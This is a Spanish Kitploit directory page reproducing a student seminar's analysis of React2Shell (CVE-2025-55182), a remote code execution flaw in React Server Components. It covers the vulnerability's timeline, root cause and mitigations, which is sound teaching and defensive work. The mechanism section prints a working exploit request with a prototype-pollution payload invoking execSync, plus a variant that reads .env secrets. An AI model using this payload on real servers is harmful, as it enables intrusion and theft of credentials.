Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
tech-seminar-React2Shell — [Woori FISA] Ganador del seminario técnico - Desarrollo de servicios en la nube, 6.ª generación, equipo 3 - Análisis e investigación de React2Shell (CVE-2025-55182) | Kitploit
Herramientas/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[Woori FISA] Ganador del seminario técnico - Desarrollo de servicios en la nube, 6.ª generación, equipo 3 - Análisis e investigación de React2Shell (CVE-2025-55182)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 6 mesesAún no revisado

React2Shell (CVE-2025-55182)

Seminario técnico de Woori FISA, 6.ª promoción - Equipo 3: análisis e investigación de React2Shell, una vulnerabilidad de ejecución remota de código (RCE) que explota un defecto de diseño de React Server Component (RSC)

Equipo

Foto del equipo ganador

MiembroRolGitHub
남인서Investigación de materiales, elaboración de PPT, presentación@sene03
유승준Investigación de materiales, elaboración de PPT, presentación@fluanceifi
이수현Investigación de materiales, elaboración de PPT@hyun793
김유정Investigación de materiales, elaboración de PPT@yujung23

Índice (Contenidos)

  1. Descripción general: ¿Qué es React2Shell?
  2. Mecanismo de ataque de React2Shell
  3. Impacto de React2Shell
  4. La responsabilidad de seguridad en el frontend

01. Descripción general: ¿Qué es React2Shell?

React2Shell (CVE-2025-55182) es una vulnerabilidad de seguridad crítica descubierta en el proceso de comunicación del Flight Protocol utilizado por React Server Component (RSC).

  • Problema principal: un atacante puede ejecutar comandos internos del servidor con una sola petición HTTP sin necesidad de autenticación.
  • Severidad: CVSS Score 10.0
  • Causa: Prototype Pollution originado en el proceso de deserialización de datos no confiables.

Defecto de diseño del Flight Protocol

React utiliza el Flight Protocol, que admite tipos complejos como Promise, Blob y Map, además de cadenas y arrays, para procesar componentes.

ExpresiónTipoDescripción
$$$ escapadoCadena literal que comienza con $
$@Promise/ChunkReferencia al ID de chunk

Los atacantes aprovechan las vulnerabilidades en el procesamiento del flujo de este protocolo para inyectar scripts maliciosos y obtener el control del servidor.

Cronología

  • 2025.11.29: Reportado inicialmente a través de Meta Bug Bounty
  • 2025.11.30: Confirmado por el equipo de seguridad e inicio de la colaboración con el equipo de React
  • 2025.12.01: Desarrollo del código del parche y verificación con socios (Vercel, etc.)
  • 2025.12.03: Distribución del parche y divulgación del CVE

02. Mecanismo de ataque de React2Shell

  • El método de ataque más común explota el sistema de referencias (Reference) del protocolo React Flight sin ningún prerrequisito adicional.
  • El ataque consta de tres fases principales: instalación de la bomba (envío del payload) → ignición (deserialización) → explosión (ejecución de RCE).

1) Instalación de la bomba

El atacante envía datos JSON al servidor mediante una petición que incluye las cabeceras Next-Action y multipart/form-data. En el cuerpo de la petición incluye un chunk falso (Fake Chunk) disfrazado como un objeto Promise.

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Ignición

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. Chunk.prototype.then se asigna al then del chunk falso enviado por el atacante.
  2. Durante la deserialización de los datos Blob, el código malicioso contenido en _prefix se introduce como argumento de Function.
  3. En el momento en que la función generada se invoca como thenable de una Promise, el código arbitrario plantado por el atacante se ejecuta en el servidor.

3) Explosión

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Causa raíz

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}
  • Al interpretar referencias con la forma $1:path:to:value, React divide la cadena por los dos puntos (:) y recorre el interior del objeto.
  • En este proceso, al interpretar $1:__proto__:then, se puede acceder al prototipo del chunk e incluso al then de ese objeto (Chunk.prototype.then).
  • En última instancia, el chunk falso enviado por el atacante termina teniendo el then del chunk real, por lo que se ejecuta el código que el atacante había planeado.

03. Impacto de React2Shell

Esta vulnerabilidad provocó una gran conmoción en todo el ecosistema web moderno.

  • Golpe a la confianza en Server Components: desencadenó el debate sobre si "los frameworks de frontend también deben ser responsables de la seguridad del servidor".
  • Emergencia en las plataformas de hosting: principales proveedores de PaaS que admiten RSC, como Vercel y Netlify, implementaron parches de seguridad urgentes.

04. La responsabilidad de seguridad en el frontend

El incidente de React2Shell dejó la lección de que "los desarrolladores de frontend también deben comprender la seguridad del servidor".

Medidas de respuesta

1. Actualizar de inmediato los paquetes relacionados con React

Actualice de inmediato los paquetes relacionados, como react-server-dom-webpack, a la versión más reciente (19.0.1+, etc.)

2. Verificar si el framework está parcheado

Los frameworks que incorporan RSC, como Next.js, no se solucionan simplemente actualizando React, por lo que es necesario revisar las notas de la versión de seguridad del propio framework y actualizarlo a la última versión.

3. Monitorización

Utilice sistemas de monitorización como Grafana y conéctelos a canales capaces de enviar alertas, como correo electrónico o Slack, configurando alarmas para poder tomar medidas inmediatas.

Debemos ser conscientes de que, a medida que la tecnología ha ampliado el alcance del frontend, también se ha ampliado el ámbito de la responsabilidad en materia de seguridad.


Referencias

Parche oficial de React

React2Shell: Guía de análisis completo de la vulnerabilidad CVE-2025-55182

Análisis de la vulnerabilidad de React Server Components y las rutas de penetración del sistema

PoC: Código de prueba de concepto de la vulnerabilidad

Descargar herramienta